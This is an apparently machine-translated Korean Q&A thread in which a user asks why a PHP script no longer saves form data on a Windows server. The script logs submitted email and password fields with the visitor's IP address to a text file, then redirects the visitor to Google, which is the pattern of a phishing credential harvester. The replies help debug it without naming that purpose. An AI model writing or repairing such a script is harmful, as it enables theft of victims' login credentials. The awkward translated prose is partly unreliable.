2012-04-24 2 views
-1

나는이 스크립트를 리눅스에서 사용하기 전에이 스크립트를 사용 했었지만 작동하는지는 알지만 새 Windows 서버 2003 서버에서 사용하면 작동하지 않습니다. 과거에는 777로 파일을 chmodding하여이 문제를 해결했지만 Windows에서는이 문제를 해결할 수 없습니다.PHP는 .txt 파일에만 데이터의 일부를 쓸 것입니다

<?php 
header("Location:http://google.com"); 
$handle = fopen("list.txt", "a"); 
$ip = $_SERVER["REMOTE_ADDR"]; 
{ 
fwrite($handle, "Email = ". $_POST['box1']."\n"); 
fwrite($handle, "Password = ".$_POST['box2']."\n"); 
fwrite($handle, "Ip address = ". $ip ."\n"); 
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n"); 
} 
fclose($handle); 
?> 

는 그것은 BOX1 및 BOX2 데이터의 빈 출력하지만 여전히 .txt 파일에 IP 및 날짜를 ​​기록 여기

는 코드입니다. 제발 제발?

+0

Whats'header ("Location : http : //google.com"); '? –

+1

왜 중괄호가 사용됩니까? 또한'error_reporting (E_ALL);을 설정하고 오류를 살펴보십시오. 일반적인 참고 사항 : 일반 텍스트 암호를 텍스트 파일에 쓰고 있습니다. 너는 그렇게해서는 안된다. – Tomalak

+0

바이너리 플래그 fopen ("list.txt", "ab")로 fopen을 시도하십시오. – djot

답변

0

분명히 변수 $_POST['box1']$_POST['box2']은 설정되지 않거나 빈 문자열로 설정됩니다. 그런 다음 파일에 저장됩니다.

PHP는 실제로 변수에 상당히 엄격합니다. PHP는 값을 가져오고 거기에서 기대되는 것이 아니라 실제로 거기에 있습니다.

요청을 모니터링하고 올바른 데이터를 사용하고 있는지 확인할 수 있도록 제출 된 데이터를 확인하십시오.

0

아마도 $ _POST이 비어있을 수 있습니까?

인코딩 유형과 관련된 문제로 필자는 이것을 보았습니다. 그렇다면 file_get_contents를 읽는 것이 좋은 해결책입니다. probem은 $ _POST와 경우의 질문에 대답 sould

$postData = file_get_contents('php://input'); 

이 비어 있거나 뭔가 다른 나쁘다.

관련 문제